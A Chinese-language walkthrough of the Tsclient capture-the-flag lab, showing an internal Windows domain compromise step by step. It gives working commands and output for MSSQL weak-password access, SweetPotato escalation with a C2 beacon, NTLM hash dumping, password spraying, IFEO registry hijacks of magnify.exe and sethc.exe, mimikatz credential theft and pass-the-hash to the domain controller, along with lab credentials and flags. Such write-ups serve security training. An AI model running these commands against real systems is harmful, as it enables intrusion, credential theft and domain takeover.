春秋云境-Tsclient
考点:
Mssql弱口令
 
SweetPotato提权
 
CS注入在线用户进程上线
 
共享文件
 
CS不出网转发上线
 
映像劫持提权
 
Dcsync
 
靶标介绍:
Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
信息收集
打开就一IIS默认界面,没啥东西,先扫一下吧(这次的机子是Windows)
1
   | .\fscan64.exe -h 39.100.183.13 -p 1-65535
 
  | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   |     ___                              _   / _ \     ___  ___ _ __ __ _  ___| | __  / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__|   < \____/     |___/\___|_|  \__,_|\___|_|\_\                      fscan version: 1.8.2 start infoscan (icmp) Target 39.100.183.13   is alive [*] Icmp alive hosts len is: 1 39.100.183.13:139 open 39.100.183.13:135 open 39.100.183.13:80 open 39.100.183.13:1433 open 39.100.183.13:2383 open 39.100.183.13:3389 open 39.100.183.13:15774 open 39.100.183.13:16450 open 39.100.183.13:16453 open 39.100.183.13:16451 open 39.100.183.13:16452 open 39.100.183.13:17001 open 39.100.183.13:47001 open 39.100.183.13:49664 open 39.100.183.13:49666 open 39.100.183.13:49665 open 39.100.183.13:49668 open 39.100.183.13:49672 open 39.100.183.13:49699 open 39.100.183.13:49771 open [*] alive ports len is: 20 start vulscan [*] NetInfo: [*]39.100.183.13    [->]WIN-WEB    [->]172.22.8.18    [->]2001:0:348b:fb58:8a7:93d:d89b:48f2 [*] WebTitle: http://39.100.183.13      code:200 len:703    title:IIS Windows Server [*] WebTitle: http://39.100.183.13:47001 code:404 len:315    title:Not Found [+] mssql:39.100.183.13:1433:sa 1qaz!QAZ 已完成 19/20 [-] (55/210) rdp 39.100.183.13:3389 administrator a123456 remote error: tls: access denied 已完成 19/20 [-] (102/210) rdp 39.100.183.13:3389 admin test remote error: tls: access denied 已完成 19/20 [-] (150/210) rdp 39.100.183.13:3389 guest 654321 remote error: tls: access denied 已完成 19/20 [-] (198/210) rdp 39.100.183.13:3389 guest Aa123456 remote error: tls: access denied 已完成 20/20 [*] 扫描结束,耗时: 8m39.836672s
 
  | 
 
Mssql->GetShell
扫出来有个Mssql弱口令
用MDUT连接,再把c2马传到C:/Users/Public/

SweetPotato提权
用SweetPotato提权,还是传到C:/Users/Public/
注意:要执行XpCmdshell模式需要先激活组件

执行命令
1
   | C:/Users/Public/sweetpotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"
 
  | 
 
1
   | flag01: flag{279cdd09-d345-4b5a-989c-9a5531d66031}
 
  | 
 
将c2连上的受害机也提到system权限,方便操作
1
   | C:/Users/Public/sweetpotato.exe -a "C:/Users/Public/beacon.exe"
 
  | 
 

信息收集2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
   |  Windows IP 配置
     主机名  . . . . . . . . . . . . . : WIN-WEB    主 DNS 后缀 . . . . . . . . . . . :     节点类型  . . . . . . . . . . . . : 混合    IP 路由已启用 . . . . . . . . . . : 否    WINS 代理已启用 . . . . . . . . . : 否
  以太网适配器 以太网 2:
     连接特定的 DNS 后缀 . . . . . . . :     描述. . . . . . . . . . . . . . . : Red Hat VirtIO Ethernet Adapter #2    物理地址. . . . . . . . . . . . . : 00-16-3E-21-6E-92    DHCP 已启用 . . . . . . . . . . . : 是    自动配置已启用. . . . . . . . . . : 是    本地链接 IPv6 地址. . . . . . . . : fe80::6143:fd2e:3663:6dd1%8(首选)     IPv4 地址 . . . . . . . . . . . . : 172.22.8.18(首选)     子网掩码  . . . . . . . . . . . . : 255.255.0.0    获得租约的时间  . . . . . . . . . : 2023年11月24日 19:31:29    租约过期的时间  . . . . . . . . . : 2033年11月21日 19:31:30    默认网关. . . . . . . . . . . . . : 172.22.255.253    DHCP 服务器 . . . . . . . . . . . : 172.22.255.253    DHCPv6 IAID . . . . . . . . . . . : 251663934    DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-2A-5D-63-2D-00-16-3E-04-77-EC    DNS 服务器  . . . . . . . . . . . : 100.100.2.136                                        100.100.2.138    TCPIP 上的 NetBIOS  . . . . . . . : 已启用
  隧道适配器 Teredo Tunneling Pseudo-Interface:
     连接特定的 DNS 后缀 . . . . . . . :     描述. . . . . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface    物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0    DHCP 已启用 . . . . . . . . . . . : 否    自动配置已启用. . . . . . . . . . : 是    IPv6 地址 . . . . . . . . . . . . : 2001:0:348b:fb58:8a7:93d:d89b:48f2(首选)     本地链接 IPv6 地址. . . . . . . . : fe80::8a7:93d:d89b:48f2%12(首选)     默认网关. . . . . . . . . . . . . : ::    DHCPv6 IAID . . . . . . . . . . . : 134217728    DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-2A-5D-63-2D-00-16-3E-04-77-EC    TCPIP 上的 NetBIOS  . . . . . . . : 已禁用
  隧道适配器 isatap.{7901C223-3BC4-42B0-BD21-258AA6858209}:
     媒体状态  . . . . . . . . . . . . : 媒体已断开连接    连接特定的 DNS 后缀 . . . . . . . :     描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2    物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0    DHCP 已启用 . . . . . . . . . . . : 否    自动配置已启用. . . . . . . . . . : 是
  [11/24 20:21:07] [+] received output: 39.100.183.75:8088 open 39.100.183.42:8088 open 39.100.183.108:8088 open
  [11/24 20:21:33] [+] received output: 39.100.183.92:8443 open 39.100.183.132:8443 open
 
 
  | 
 
查看在线用户
1 2 3 4 5 6 7 8
   |  \\ 的用户帐户
 
  Administrator            DefaultAccount           Guest                     John                      命令运行完毕,但发生一个或多个错误。
 
 
  | 
 
查看在线用户
1 2 3
   | query user || qwinsta   //命令行不通,换一个 shell quser || qwinst   //c2中执行 quser
 
  | 
 
1 2
   | 用户名                会话名             ID  状态    空闲时间   登录时间 john                  rdp-tcp#0           2  运行中         54  2023/11/24 19:33
 
  | 
 
查看网络连接

fscan扫一下
1
   | C:\Users\Public\fscan.exe -h 172.22.8.18/24 -o 1.txt
 
  | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
   |     ___                              _       / _ \     ___  ___ _ __ __ _  ___| | __   / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__|   <     \____/     |___/\___|_|  \__,_|\___|_|\_\                         fscan version: 1.8.3 start infoscan (icmp) Target 172.22.8.18     is alive (icmp) Target 172.22.8.15     is alive (icmp) Target 172.22.8.31     is alive (icmp) Target 172.22.8.46     is alive [*] Icmp alive hosts len is: 4 172.22.8.15:88 open 172.22.8.15:139 open 172.22.8.18:1433 open 172.22.8.46:445 open 172.22.8.31:445 open 172.22.8.15:445 open 172.22.8.18:445 open 172.22.8.46:139 open 172.22.8.31:139 open 172.22.8.18:80 open 172.22.8.18:139 open 172.22.8.46:135 open 172.22.8.31:135 open 172.22.8.15:135 open 172.22.8.18:135 open 172.22.8.46:80 open [*] alive ports len is: 16 start vulscan [*] NetInfo  [*]172.22.8.18    [->]WIN-WEB    [->]172.22.8.18    [->]2001:0:348b:fb58:8a7:93d:d89b:48f2 [*] NetBios 172.22.8.15     [+] DC:XIAORANG\DC01            [*] NetInfo  [*]172.22.8.31    [->]WIN19-CLIENT    [->]172.22.8.31 [*] NetBios 172.22.8.31     XIAORANG\WIN19-CLIENT          [*] NetInfo  [*]172.22.8.46    [->]WIN2016    [->]172.22.8.46 [*] WebTitle http://172.22.8.18        code:200 len:703    title:IIS Windows Server [*] NetInfo  [*]172.22.8.15    [->]DC01    [->]172.22.8.15 [*] NetBios 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393 [*] WebTitle http://172.22.8.46        code:200 len:703    title:IIS Windows Server [+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
 
  | 
 
1 2 3 4
   | 172.22.8.15 域控 172.22.8.31 域内机器 172.22.8.18 已拿下 172.22.8.46 域内机器
 
  | 
 
这个172.22.8.15   应该是DC     [+] DC:XIAORANG\DC01   
再收集一下hash(需要system权限 )
1 2 3 4
   | Administrator:500:aad3b435b51404eeaad3b435b51404ee:2caf35bb4c5059a3d50599844e2b9b1f::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: John:1008:aad3b435b51404eeaad3b435b51404ee:eec9381b043f098b011be51622282027:::
 
  | 
 
注入进程上线其他用户
因为 john是在线的,所以可以CS直接注入进程上线

切换到Jojn用户的shell
查看有没有共享文件

里面有一个敏感文件,查看后获取一个凭证和一个提示(镜像劫持)
1 2
   | shell dir \\TSCLIENT\C shell type \\TSCLIENT\C\credential.txt
 
  | 
 


1 2 3 4 5 6 7
   |  beacon> shell type \\TSCLIENT\C\credential.txt   Tasked beacon to run: type \\TSCLIENT\C\credential.txt   host called home, sent: 63 bytes   received output: xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
  Do you know how to hijack Image?
 
  | 
 
直接在c2 shell在开个socks 端口

kali连接上代理
1
   | vim /etc/proxychains4.conf
 
  | 
 

密码喷洒
密码喷洒
1
   | proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
 
  | 
 
1 2 3 4 5 6 7 8 9
   | SMB         172.22.8.18     445    WIN-WEB          [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-WEB) (domain:WIN-WEB) (signing:False) (SMBv1:True) SMB         172.22.8.46     445    WIN2016          [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN2016) (domain:xiaorang.lab) (signing:False) (SMBv1:True) SMB         172.22.8.15     445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:False) SMB         172.22.8.31     445    WIN19-CLIENT     [*] Windows 10.0 Build 17763 x64 (name:WIN19-CLIENT) (domain:xiaorang.lab) (signing:False) (SMBv1:False) SMB         172.22.8.18     445    WIN-WEB          [-] WIN-WEB\Aldrich:Ald@rLMWuy7Z!# STATUS_LOGON_FAILURE  SMB         172.22.8.46     445    WIN2016          [+] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#  SMB         172.22.8.15     445    DC01             [-] Connection Error: The NETBIOS connection with the remote host timed out. SMB         172.22.8.31     445    WIN19-CLIENT     [+] xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# 
 
 
  | 
 
1
   | proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'       
 
  | 
 

如果提示密码过期,就需要改一下密码(这里显示密码不正确是因为我已经提前用下面的脚本改了密码)
1
   | proxychains4 python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'
 
  | 
 

镜像劫持
按照提示使用映像劫持(IFEO)
查看一下注册表权限,powershell:
1
   | Get-Acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
 
  | 
 
发现所有用户都可以创建键值,修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权。
1
   | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
 
  | 
 
也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe,这样就提权成system了
或者劫持粘滞键sethc(按5次shift出现)
1
   | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
 
  | 
 
然后在开始那里锁定账户,点击放大镜,或者是按5次shift,就会调用system权限执行的cmd.exe,从而提权
提权之后就可以翻文件找到flag2了
1 2
   | net user /domain net group "domain admins" /domain
 
  | 
 

hash传递->域控
之后就是mimikat来抓取hash(c2也可以用hashdump来抓)
1
   | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
 
  | 
 

这里发现了一个域内机器账户的ntmlWIN2016$:985c546279ee35af8e54bde724303c64
发现这个账户正好在域管理员组
然后就是使用mimikatz进行hash传递
1
   | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:985c46279ee35af8e54bde724303c64" exit
 
  | 
 
或者用crackmapexec
1
   | proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 985c546279ee35af8e54bde724303c64 -d xiaorang -x "whoami"
 
  | 
 

拿flag3
1
   | proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 985c546279ee35af8e54bde724303c64 -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"
 
  | 
 
